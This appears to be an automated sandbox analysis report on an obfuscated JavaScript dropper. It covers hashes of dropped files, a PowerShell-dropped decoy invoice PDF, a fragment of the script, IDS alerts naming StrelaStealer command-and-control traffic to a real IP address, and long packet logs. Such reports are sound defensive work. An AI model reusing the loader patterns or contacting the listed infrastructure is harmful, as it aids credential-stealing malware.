Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e488b0c3-84f0-4e4b-8b50-d722adcb04be.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fd54ad95-fa0f-4775-acc1-9c27d0c0f61c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18135), with CRLF line terminators
Entropy (8bit):	4.912536391891015
TrID:
File name:	3141714165326508962.js
File size:	21'578 bytes
MD5:	89f1b508679b17e9bc053551297c2da2
SHA1:	fba7a53a70216d79c1e3d9286c8e907ebfc7e615
SHA256:	f8ccfd8cb55dd5e8825279f0b9eee4e71614682d6ded2a369e368918c3fb8230
SHA512:	5790060c255c823e4be46149647484353e14e3195ec6e42111f867e3bad7735d2d153cb71e26a024b10d756739128306b6ad86d3a15b2e6c7b34b01087f578bc
SSDEEP:	384:NoDj/SOcu3/8RZgcirYRCne6wMgYeC5Fc11xNvGOK0DIl:e3/jYRCAMeC5jOK0DIl
TLSH:	1DA26582522C4719C5F8793858E30593B3A582E4196817CA7C619EC87F08E76F3FB6BD
File Content Preview:	function ocataocj(){ockrk=[1031,3079,5127,4103,2055,3072];var khhmz=this[kqyqazli+thbdkq+nhppqlw+lbfzk+nqhzk+feivbm+zfmcvoqs+njeywit](this[emizambo+ceoaj+hkdobzj+nhppqlw+ginbx+kqyqazli+njeywit][ljyddshu+nhppqlw+nqhzk+thbdkq+njeywit+nqhzk+wolozy+owdeqhbro+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:58:51.107866+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T01:58:51.107866+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-11T01:58:53.642698+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:58:50.301477909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:50.307130098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:50.307233095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:50.309890985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:50.314850092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.107741117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.107794046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.107809067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.107866049 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.107889891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.107937098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.108036995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.108055115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.108069897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.108086109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.108100891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.108134985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.108320951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.108338118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.108392954 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.112771988 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.158323050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.158545017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.158567905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.158679962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.225033045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.225080967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.225188017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.225656033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.225716114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.225795031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.225838900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.225856066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.225903988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.225965977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226141930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226197958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.226335049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226377964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226393938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226443052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.226639032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226655960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.226696014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.227286100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.227368116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.227369070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.227387905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.227432013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.227523088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.227540970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.227583885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.228296041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.228352070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.228368998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.228419065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.228473902 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.228521109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.289307117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.319685936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.319749117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.319758892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.319767952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.319844961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.343178034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343211889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343229055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343379021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343441010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.343466043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343508959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343517065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.343553066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.343655109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343672037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343905926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343923092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343940020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343950987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.343956947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.343980074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.344003916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.344867945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.345423937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.345473051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.345592976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.347971916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.347989082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348026991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.348756075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348773956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348789930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348819971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.348848104 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.348927975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348953962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348969936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.348984957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349001884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349015951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349016905 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349034071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349046946 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349049091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349071980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349086046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349102020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349112034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349122047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349138021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349145889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349157095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349173069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349183083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349190950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349206924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349219084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349222898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349239111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349253893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349268913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349277973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.349286079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.349313021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.380080938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.380103111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.380142927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.408504009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.408548117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.408587933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.435352087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435389042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435401917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435516119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435529947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435528040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.435528040 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.435556889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435564041 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.435579062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.435621977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.460472107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460519075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460536957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460570097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460604906 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.460645914 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.460655928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460674047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460714102 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.460872889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460896969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.460937977 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.461013079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461091042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461132050 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461136103 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.461220980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461236954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461262941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.461347103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461390018 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.461548090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461565018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461602926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.461652040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461772919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461787939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461812973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.461951971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.461993933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.462035894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462055922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462094069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.462260962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462275982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462291956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462307930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462316036 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.462352037 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.462630033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462646008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462661028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462701082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.462871075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.462922096 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.462991953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463007927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463196993 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.463215113 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463231087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463244915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463260889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463275909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.463294029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.463593960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463609934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463625908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463643074 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.463869095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.463911057 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.463999987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464015961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464054108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.464165926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464181900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464196920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464212894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464222908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.464252949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.464531898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464546919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464566946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464592934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.464814901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 01:58:51.464869022 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 01:58:51.464895010 CET	80	49709	193.143.1.205	192.168.2.6
